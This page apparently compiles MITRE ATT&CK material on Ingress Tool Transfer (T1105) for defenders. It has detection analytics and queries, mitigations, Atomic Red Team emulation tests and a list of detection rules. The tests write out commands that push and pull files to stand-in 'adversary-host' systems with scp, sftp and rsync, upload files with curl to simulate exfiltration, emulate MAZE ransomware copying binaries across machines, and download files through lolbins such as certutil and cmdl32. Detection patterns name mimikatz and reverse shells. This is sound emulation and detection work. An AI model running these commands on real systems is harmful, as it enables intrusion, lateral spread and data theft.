Alain Homewood; Jeremy Hedges; Joe Wise; John Page (aka hyp3rlinx), ApparitionSec; Mark Wee; Peter Oakes; Selena Larson, @selenalarson; Shailesh Tiwary (Indian Army); The DFIR Report; Don Le, Stifel Financial
Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).
On Windows, adversaries may use various utilities to download tools, such as copy, finger, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as curl, scp, sftp, tftp, rsync, finger, and wget.[1] A number of these tools, such as wget, curl, and scp, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via certutil -hashfile).[2]
Adversaries may also abuse installers and package managers, such as yum or winget, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows search-ms protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures).[3]
Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.[4] In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.[5]
Top 1%of all ATT&CK techniques for number of groups
88 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has deployed additional payloads from dedicated C2 servers.123VOID MANTICORE has also downloaded legitimate tools and software from publicly available services.1VOID MANTICORE had utilized VeraCrypt a legitimate disk encrypting utility that was downloaded directly from the website.1
Has leveraged certutil, PowerShell, and Windows Command to download additional tools to include RMM services.1Medusa Group has also engaged in “Bring Your Own Vulnerable Driver” (BYOVD) and downloaded vulnerable or signed drivers to the victim environment to disable security tools.12
During ShadowRay, threat actors downloaded and executed the XMRig miner on targeted hosts.1
2023–2024
All 29 campaigns for this technique · 6 newest in this preview
403 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has downloaded and executed binaries from dead drop URLs retrieved from ICP canister C2 nodes.12CanisterWorm has also downloaded kubectl to compromised environments if it was not already installed.1
Tsundere Botnet’s loader component has downloaded the zip file node-v18.17.0-win-x64.zip from the official Node.js website, as well as pm2, a Node.js process management tool.1
Has the ability to download files from the C2 server. Additionally, MuddyViper has the ability to download a file in chunks with sleep time between each chunk.1
MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detect Ingress Tool Transfers via Behavioral Chain
Enterprise
5 platforms
AN0165 · Windows
Unusual or uncommon processes initiate network connections to external destinations followed by file creation (tools downloaded).
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
Field
What you tune
ToolName
Tune for wget, curl, netcat, and scripting languages in use
DatastorePath
Filter or prioritize specific paths (e.g., /vmfs/volumes/)
AN0169 · Network Devices
Network device logs show anomalous inbound file transfers or uncharacteristic flows with high payload volume to network devices with storage or automation hooks.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
Field
What you tune
PayloadVolumeThreshold
Tune based on expected update size vs anomalous bulk data transfers
ProtocolUsed
Flag unexpected protocols like TFTP, FTP, HTTP
4 analytics
Malicious actors may rename built-in commands or external tools, such as those provided by SysInternals, to better blend in with the environment. In those cases, the file path name is arbitrary and may blend in well with the background. If the arguments are closely inspected, it may be possible to infer what tools are running and understand what an adversary is doing. When any legitimate software shares the same command lines, it must be whitelisted according to the expected parameters.
TypeTTPCoverageModerateSubmitted2013
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
Identify process launches that contain substrings that belong to known tools and do not match the expected process names. These will help to indicate instances of tools that have been renamed.
process = search Process:Create
port_fwd = filter process where (command_line match "-R .* -pw")
scp = filter process where (command_line match "-pw .* .* .*@.*"
mimikatz = filter process where (command_line match "sekurlsa")
rar = filter process where (command_line match " -hp ")
archive = filter process where (command_line match ".* a .*")
ip_addr = filter process where (command_line match \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})
output port_fwd, scp, mimikatz, rar, archive, ip_addr
Splunk version of the above pseudocode, excluding the IP address search.
index=__your_sysmon_index__ EventCode=1 (CommandLine="* -R * -pw*" OR CommandLine="* -pw * *@*" OR CommandLine="*sekurlsa*" OR CommandLine="* -hp *" OR CommandLine="* a *")
Splunk version of the above pseudocode, solely for the IP address search. Note that this will likely result in many false positives, since things like software version numbers can also be valid IPv4 addresses.
EQL version of the above pseudocode, excluding the IP address search.
process where subtype.create and
(command_line == "* -R * -pw*" or command_line == "* -pw * *@*" or command_line == "*sekurlsa*" or command_line == "* -hp *" or command_line == "* a *")
DNIF version of the above pseudocode.
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $Process=regex(.*(\-r.*\-pw|\-pw.*\@|sekurlsa|\-hp| a |\\d\{1\,3\}\\\.\\d\{1\,3\}\\\.\\d\{1\,3\}).*)i limit 100
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 (command="* -R * -pw*" OR command="* -pw * *@*" OR command="*sekurlsa*" OR command="* -hp *" OR command="* a *")
Unit tests
CAR’s own validation procedures for this analytic.
Download and run Putty from the command line to connect to an SSH server using remote port forwarding. Note that this requires specifying your remote system password on the command line, where it will be logged and visible. It is highly recommended that you specify an incorrect password and not complete the login, or use a temporary password.
Download 7zip or other archiving software you plan to monitor. Create an innocuous text file for testing, or substitute an existing file.
["7z.exe a test.zip test.txt"]
The following query identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe using the transfer parameter to download a remote object. In addition, look for download or upload on the command-line, the switches are not required to perform a transfer. Capture any files downloaded. Review the reputation of the IP or domain used. Typically once executed, a follow on command will be used to execute the dropped file. Note that the network connection or file modification events related will not spawn or create from bitsadmin.exe, but the artifacts will appear in a parallel process of svchost.exe with a command-line similar to svchost.exe -k netsvcs -s BITS. It's important to review all parallel and child processes to capture any behaviors and artifacts. In some suspicious and malicious instances, BITS jobs will be created. You can use bitsadmin /list /verbose to list out the jobs during investigation.
TypeTTPCoverageModerateSubmitted2021
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
Pseudocode implementation of the Splunk search below
processes = search Process:Create
bitsadmin_commands = filter processes where (
exe ="C:\Windows\System32\bitsadmin.exe" AND command_line = *transfer*)
output bitsadmin_commands
To successfully implement this search you need to be ingesting information on process that include the name of the process responsible for the changes from your endpoints into the Endpoint datamodel in the Processes node.
| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=bitsadmin.exe Processes.process=*transfer* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id
Unit tests
CAR’s own validation procedures for this analytic.
Replay the detection [dataset](https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1197/atomic_red_team/windows-sysmon.log) using the Splunk attack range with the commands below
execute the atomic test [T1197](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1197) against a Windows target.
["Invoke-AtomicTest T1197"]
Certutil.exe may download a file from a remote destination using -urlcache. This behavior does require a URL to be passed on the command-line. In addition, -f (force) and -split (Split embedded ASN.1 elements, and save to files) will be used. It is not entirely common for certutil.exe to contact public IP space. However, it is uncommon for certutil.exe to write files to world writeable paths.\ During triage, capture any files on disk and review. Review the reputation of the remote IP or domain in question.
TypeTTPCoverageModerateSubmitted2021
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
Pseudocode implementation of the Splunk search below
processes = search Process:Create
certutil_downloads = filter processes where (
exe ="C:\Windows\System32\certutil.exe" AND command_line = *urlcache* AND command_line = *split*)
output certutil_downloads
To successfully implement this search you need to be ingesting information on process that include the name of the process responsible for the changes from your endpoints into the Endpoint datamodel in the Processes node.
| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=certutil.exe Processes.process=*urlcache* Processes.process=*split* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id
Unit tests
CAR’s own validation procedures for this analytic.
Replay the detection [dataset](https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon.log) using the Splunk attack range with the commands below
execute the atomic test [T1105](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1105) against a Windows target.
["Invoke-AtomicTest T1105"]
Certutil.exe may download a file from a remote destination using -VerifyCtl. This behavior does require a URL to be passed on the command-line. In addition, -f (force) and -split (Split embedded ASN.1 elements, and save to files) will be used. It is not entirely common for certutil.exe to contact public IP space. \ During triage, capture any files on disk and review. Review the reputation of the remote IP or domain in question. Using -VerifyCtl, the file will either be written to the current working directory or %APPDATA%\..\LocalLow\Microsoft\CryptnetUrlCache\Content\<hash>.
TypeTTPCoverageModerateSubmitted2021
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
Pseudocode implementation of the Splunk search below
processes = search Process:Create
certutil_downloads = filter processes where (
exe = "C:\Windows\System32\certutil.exe" AND command_line = *verifyctl* AND command_line = *split*)
output certutil_downloads
To successfully implement this search you need to be ingesting information on process that include the name of the process responsible for the changes from your endpoints into the Endpoint datamodel in the Processes node.
| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=certutil.exe Processes.process=*verifyctl* Processes.process=*split* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id
Unit tests
CAR’s own validation procedures for this analytic.
Replay the detection [dataset](https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1105/atomic_red_team/windows-sysmon.log) using the Splunk attack range with the commands below
Use network filtering to block outbound traffic from compromised systems to unapproved external destinations. Restricting access to known, trusted IP addresses and protocols can prevent attackers from downloading malicious tools or payloads onto compromised servers after gaining initial access.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.
Tests39Executorscommand_prompt 18 · powershell 11 · sh 8 · bash 2Need elevation10 of 39Have prerequisites20Have cleanup26Platformslinux, macos, windows, containers
#
Test
Platform
Executor
Elevation
Prereqs
Cleanup
Ref
01
rsync remote file copy (push)
linux, macos
sh
Required
1
—
Utilize rsync to perform a remote file copy (push)
Inputs
Name
Description
Type
Default Value
username
User account to authenticate on remote host
string
victim
local_path
Path of folder to copy
path
/tmp/adversary-rsync/
remote_host
Remote host to copy toward
string
victim-host
remote_path
Remote path to receive rsync
path
/tmp/victim-files
Attack Commandsrun with shelevation required (root or admin)
OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity.
Inputs
Name
Description
Type
Default Value
destination_path
Path to create remote file at. Default is local admin share.
string
\\localhost\C$
Attack Commandsrun with command_promptelevation required (root or admin)
pushd #{destination_path}
echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js
CScript.exe AtomicTestT1105.js //E:JScript
del AtomicTestT1105.js /Q >nul 2>&1
del AtomicTestFileT1105.js /Q >nul 2>&1
popd
GUID2ca61766-b456-4fcf-a35a-1233685e1cad
12
svchost writing a file to a UNC path
windows
command_prompt
Required
—
Yes
svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
Upon successful execution, this will rename cmd.exe as svchost.exe and move it to c:\, then execute svchost.exe with output to a txt file.
Attack Commandsrun with command_promptelevation required (root or admin)
del C:\T1105.txt >nul 2>&1
del C:\\svchost.exe >nul 2>&1
GUIDfa5a2759-41d7-4e13-a19c-e8f28a53566f
13
Download a File with Windows Defender MpCmdRun.exe
windows
command_prompt
—
1
Yes
Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed).
The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file.
By default, the test downloads the Atomic Red Team license file to the temp directory.
More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server.
Because this is being tested on the localhost, you should not be expecting a successful connection
https://www.exploit-db.com/exploits/48815
https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/
Inputs
Name
Description
Type
Default Value
remote_host
Remote hostname or IP address
string
localhost
Attack Commandsrun with command_prompt
finger base64_filedata@#{remote_host}
GUID5f507e45-8411-4f99-84e7-e38530c45d01
17
Download a file with IMEWDBLD.exe
windows
powershell
—
—
Yes
Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file.
Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>.
Run "Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyContinue" without quotes and adding the correct username and file name to locate the file.
Inputs
Name
Description
Type
Default Value
file_name
Name of the file to be downloaded without extension.
The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.
Expected output will include whether the file downloaded successfully or not.
del c:\users\public\music\allthethingsx64.dll >nul 2>&1
del c:\users\public\music\allthethingsx64.dll >nul 2>&1
del c:\programdata\allthethingsx64.dll >nul 2>&1
del %Temp%\allthethingsx64.dll >nul 2>&1
Dependenciesrun with powershell
Description
Curl must be installed on system.
Check Prereq Commands
if (Test-Path #{curl_path}) {exit 0} else {exit 1}
The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration
Expected output will include whether the file uploaded successfully or not.
if (Test-Path #{file_path}) {exit 0} else {exit 1}
Get Prereq Commands
echo "This is an Atomic Test File" > #{file_path}
GUID635c9a38-6cbf-47dc-8615-3810bc1167cf
20
Download a file with Microsoft Connection Manager Auto-Download
windows
command_prompt
—
1
Yes
Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file.
The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.
Upon successful execution the test will open calculator and Notepad executable for 10 seconds.
reference:
https://twitter.com/ElliotKillick/status/1455897435063074824
https://github.com/LOLBAS-Project/LOLBAS/pull/151
https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/
https://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html
Inputs
Name
Description
Type
Default Value
Path_to_file
Path to the Batch script
path
PathToAtomicsFolder\T1105\src\T1105.bat
Attack Commandsrun with command_prompt
"#{Path_to_file}" 1>NUL
Cleanup Commands
del /f/s/q %temp%\T1105 >nul 2>&1
rmdir /s/q %temp%\T1105 >nul 2>&1
Dependenciesrun with powershell
Description
#{Path_to_file} must exist on system.
Check Prereq Commands
if (Test-Path "#{Path_to_file}") {exit 0} else {exit 1}
This test simulates MAZE ransomware's propogation script that searches through a list of computers, tests connectivity to them, and copies a binary file to the Windows\Temp directory of each one.
Upon successful execution, a specified binary file will attempt to be copied to each online machine, a list of the online machines, as well as a list of offline machines will be output to a specified location.
Reference: https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
Inputs
Name
Description
Type
Default Value
binary_file
Binary file to copy to remote machines
string
$env:comspec
exe_remote_folder
Path to store executable on remote machine (no drive letter)
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt")
{foreach ($machine in get-content -path "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt")
{wmic /node: "$machine" process where name='"regsvr32.exe"' call terminate | out-null
Remove-Item -path "\\$machine\#{remote_drive_letter}$#{exe_remote_folder}" -force -erroraction silentlycontinue}}
Remove-Item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105OfflineHosts.txt" -erroraction silentlycontinue
Remove-item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt" -erroraction silentlycontinue
Dependenciesrun with powershell
Description
Binary file must exist at specified location (#{binary_file})
Check Prereq Commands
if (Test-Path #{binary_file}) {exit 0} else {exit 1}
Get Prereq Commands
write-host "The binary_file input parameter must be set to a binary that exists on this computer."
Description
Machine list must exist at specified location ("PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt")
Check Prereq Commands
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
new-item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt" | Out-Null
echo "A machine list file has been generated at "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt". Please enter the machines to target there, one machine per line."
GUID70f4d07c-5c3e-4d53-bb0a-cdf3ada14baf
22
Printer Migration Command-Line Tool UNC share folder into a zip file
windows
command_prompt
—
—
Yes
Create a ZIP file from a folder in a remote drive
Inputs
Name
Description
Type
Default Value
Path_unc
Path to the UNC folder
path
\\127.0.0.1\c$\AtomicRedTeam\atomics\T1105\src\
Path_PrintBrm
Path to PrintBrm.exe
path
C:\Windows\System32\spool\tools\PrintBrm.exe
Attack Commandsrun with command_prompt
del %TEMP%\PrintBrm.zip >nul 2>&1
#{Path_PrintBrm} -b -d #{Path_unc} -f %TEMP%\PrintBrm.zip -O FORCE
Cleanup Commands
del %TEMP%\PrintBrm.zip >nul 2>&1
GUID49845fc1-7961-4590-a0f0-3dbcf065ae7e
23
Lolbas replace.exe use to copy file
windows
command_prompt
—
1
Yes
Copy file.cab to destination
Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/
Inputs
Name
Description
Type
Default Value
replace_cab
Path to the cab file
path
PathToAtomicsFolder\T1105\src\redcanary.cab
Path_replace
Path to replace.exe
path
C:\Windows\System32\replace.exe
Attack Commandsrun with command_prompt
del %TEMP%\redcanary.cab >nul 2>&1
#{Path_replace} "#{replace_cab}" %TEMP% /A
Cleanup Commands
del %TEMP%\redcanary.cab >nul 2>&1
Dependenciesrun with powershell
Description
#{replace_cab} must exist on system.
Check Prereq Commands
if (Test-Path "#{replace_cab}") {exit 0} else {exit 1}
Arbitrary file download using the Notepad++ GUP.exe binary
windows
command_prompt
Required
1
Yes
GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github.
Reference
Upon execution, a sample zip file will be downloaded to C:\Temp\Sample folder
Inputs
Name
Description
Type
Default Value
working_dir
The directory where GUP.exe & it's dependecies exists
path
PathToAtomicsFolder\T1105\bin\
gup_executable
GUP is an open source signed binary used by Notepad++ for software updates
String
PathToAtomicsFolder\T1105\bin\GUP.exe
target_file_url
URL of the target ZIP file (Eg: https://example.com/test.zip)
One of the windows packages 'Sqlcmd.exe' can be abused to download malicious files from C2 servers
This Atomic will exhibit the similar behavior by downloading a sample zip file from src directory of this Technique folder via GitHub URL
Inputs
Name
Description
Type
Default Value
remote_url
URL of the C2 Server from where file/s need to be downloaded
This test requires the `scp` command to be available on the system.
Check Prereq Commands
if (Get-Command scp -ErrorAction SilentlyContinue) {
Write-Output "SCP command is available."
exit 0
} else {
Write-Output "SCP command is not available."
exit 1
}
Get Prereq Commands
# Define the capability name for OpenSSH Client
$capabilityName = "OpenSSH.Client~~~~0.0.1.0"
try {
# Install the OpenSSH Client capability
Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop
Write-Host "OpenSSH Client has been successfully installed." -ForegroundColor Green
} catch {
# Handle any errors that occur during the installation process
Write-Host "An error occurred while installing OpenSSH Client: $_" -ForegroundColor Red
}
GUID2a4b0d29-e5dd-4b66-b729-07423ba1cd9d
35
Windows pull file using scp.exe
windows
powershell
Required
1
—
This test simulates pulling files using SCP on a Windows environment.
Inputs
Name
Description
Type
Default Value
username
User account to authenticate on remote host
string
adversary
local_path
Local path to receive files
path
C:\temp
remote_host
Remote host to pull from
string
adversary-host
remote_path
Path of folder to pull
path
/tmp/T1105.txt
Attack Commandsrun with powershellelevation required (root or admin)
This test requires the `scp` command to be available on the system.
Check Prereq Commands
if (Get-Command scp -ErrorAction SilentlyContinue) {
Write-Output "SCP command is available."
exit 0
} else {
Write-Output "SCP command is not available."
exit 1
}
Get Prereq Commands
# Define the capability name for OpenSSH Client
$capabilityName = "OpenSSH.Client~~~~0.0.1.0"
try {
# Install the OpenSSH Client capability
Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop
Write-Host "OpenSSH Client has been successfully installed." -ForegroundColor Green
} catch {
# Handle any errors that occur during the installation process
Write-Host "An error occurred while installing OpenSSH Client: $_" -ForegroundColor Red
}
GUID401667dc-05a6-4da0-a2a7-acfe4819559c
36
Windows push file using sftp.exe
windows
powershell
Required
1
Yes
This test simulates pushing files using SFTP on a Windows environment.
Inputs
Name
Description
Type
Default Value
username
User account to authenticate on remote host
string
adversary
file_name
Name of the file to transfer
string
T1105.txt
local_path
Local path to receive sftp
path
C:\temp
remote_host
Remote host to send
string
adversary-host
remote_path
Path of folder to copy
path
/tmp
Attack Commandsrun with powershellelevation required (root or admin)
# Check if the folder exists, create it if it doesn't
$folderPath = "#{local_path}"
if (-Not (Test-Path -Path $folderPath)) {
New-Item -Path $folderPath -ItemType Directory
}
# Create the file
$filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}"
New-Item -Path $filePath -ItemType File -Force
Write-Output "File created: $filePath"
# Attack command
echo "put #{local_path}\#{file_name}" | sftp #{username}@#{remote_host}:#{remote_path}
This test requires the `sftp` command to be available on the system.
Check Prereq Commands
if (Get-Command sftp -ErrorAction SilentlyContinue) {
Write-Output "SFTP command is available."
exit 0
} else {
Write-Output "SFTP command is not available."
exit 1
}
Get Prereq Commands
# Define the capability name for OpenSSH Client
$capabilityName = "OpenSSH.Client~~~~0.0.1.0"
try {
# Install the OpenSSH Client capability
Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop
Write-Host "OpenSSH Client has been successfully installed." -ForegroundColor Green
} catch {
# Handle any errors that occur during the installation process
Write-Host "An error occurred while installing OpenSSH Client: $_" -ForegroundColor Red
}
GUID205e676e-0401-4bae-83a5-94b8c5daeb22
37
Windows pull file using sftp.exe
windows
powershell
Required
1
—
This test simulates pulling files using SFTP on a Windows environment.
Inputs
Name
Description
Type
Default Value
username
User account to authenticate on remote host
string
adversary
local_path
Local path to receive files
path
C:\temp
remote_host
Remote host to pull from
string
adversary-host
remote_path
Path of file to pull
path
/tmp/T1105.txt
Attack Commandsrun with powershellelevation required (root or admin)
This test requires the `sftp` command to be available on the system.
Check Prereq Commands
if (Get-Command sftp -ErrorAction SilentlyContinue) {
Write-Output "SFTP command is available."
exit 0
} else {
Write-Output "SFTP command is not available."
exit 1
}
Get Prereq Commands
# Define the capability name for OpenSSH Client
$capabilityName = "OpenSSH.Client~~~~0.0.1.0"
try {
# Install the OpenSSH Client capability
Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop
Write-Host "OpenSSH Client has been successfully installed." -ForegroundColor Green
} catch {
# Handle any errors that occur during the installation process
Write-Host "An error occurred while installing OpenSSH Client: $_" -ForegroundColor Red
}
GUID3d25f1f2-55cb-4a41-a523-d17ad4cfba19
38
Download a file with OneDrive Standalone Updater
windows
powershell
—
1
Yes
Uses OneDrive Standalone Updater to download a file from a specified URL by setting up the required registry keys.
This technique can be used to download files without executing anomalous executables.
Reference: https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/
OneDriveStandaloneUpdater.exe must exist on disk at specified location
Check Prereq Commands
if (Test-Path "#{onedrive_path}") {exit 0} else {exit 1}
Get Prereq Commands
Write-Host "OneDriveStandaloneUpdater.exe not found at #{onedrive_path}. Please install OneDrive or specify correct path."
GUID3dd6a6cf-9c78-462c-bd75-e9b54fc8925b
39
Curl Insecure Connection from a Pod
containers
bash
—
1
—
Launches an Ubuntu pod, installs curl, and executes curl with insecure flags (-k/--insecure)
against a target URL. The pod is automatically deleted after execution.
Detects the Linux-specific execution chain of the plain-crypto-js malicious npm dependency by Axios NPM package, including payload download via curl and detached execution using nohup and python3. (...)
Detects the macOS-specific execution chain of the plain-crypto-js malicious npm dependency in Axios NPM Package, including AppleScript execution via osascript, payload download, permission modification, execution, and cleanup.
This analytic detects unexpected outbound network connections initiated by known webserver processes such as `httpd.exe`, `nginx.exe`, or `tomcat.exe` to common file sharing or public content hosting services like GitHub, Discord CDN, Transfer.sh, or Pastebin. (...)
The following analytic detects potential reverse shell activity by identifying connections involving ports commonly associated with remote access tools, shell listeners, or tunneling utilities. (...)
The following analytic detects connections with a high Encrypted Visibility Engine (EVE) threat confidence score, indicating potentially malicious behavior within encrypted traffic. (...)
This analytic identifies Snort intrusion signatures that have been triggered by ten or more distinct internal IP addresses within a one-hour window. (...)
The following analytic detects the execution of the curl utility where the command line includes percent-encoded characters and explicit file output options (such as -o or --output). (...)
The following analytic detects the use of download or file reading utilities from Windows, Linux or MacOS to download or read the contents of a file from a remote or local source and pipe it directly to a shell for execution. (...)
Detects legitimate applications writing any type of file to uncommon or suspicious locations that are not typical for application data storage or execution. (...)
The following analytic detects the use of the curl command with specific switches (-F, --form, --upload-file, -T, -d, --data, --data-raw, -I, --head) to upload AWS credentials or configuration files to a remote destination. (...)
The following analytic detects the use of the curl command with specific switches (-O, -sO, -ksO, --output) commonly used to download remote scripts or binaries. (...)
The following correlation identifies multiple risk events associated with the "Living Off The Land" analytic story, indicating potentially suspicious behavior. (...)
The following analytic identifies potential exploitation of Log4Shell CVE-2021-44228 by correlating multiple MITRE ATT&CK tactics detected in risk events. (...)
The following analytic identifies Living Off the Land Binaries and Scripts (LOLBAS) that can legitimately initiate public network connections but are communicating over uncommon destination ports. (...)
The following analytic identifies public network connections initiated by Living Off the Land Binaries and Scripts (LOLBAS) that rarely require direct outbound network access. (...)
Microsoft Intune device remediation scripts are a tool administrators can use to remotely manage devices, this functionality can also be abused for SYSTEM level code execution and lateral movement to intune managed devices. (...)
Microsoft Intune supports deploying packaged applications to support software deployment, this functionality can also be abused for deploying malicious payloads to intune managed devices. (...)
The following analytic identifies suspicious PowerShell script execution via EventCode 4104 that contains multiple URLs within a function or array. (...)
The following analytic detects the use of .NET classes in PowerShell to download a URL payload directly into memory, a common fileless malware staging technique. (...)
Detects execution of processes with image paths starting with WebDAV shares (\\), which might indicate malicious file execution from remote web shares. (...)
Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them. (...)
The following analytic detects the use of the curl command contacting suspicious remote domains, such as s3.amazonaws.com, which is indicative of Command and Control (C2) activity or downloading further implants. (...)
The following analytic detects a process located in a potentially suspicious location making DNS queries to known URL shortening services, specifically tinyurl. (...)
The following analytic identifies a process command line referencing the IronLanguages GitHub repository, which hosts .NET implementation of popular scripting engines. (...)
The following analytic detects the execution of Windows shell processes initiated by WinRAR, such as "cmd.exe", "powershell.exe", "certutil.exe", "mshta.exe", or "bitsadmin.exe". (...)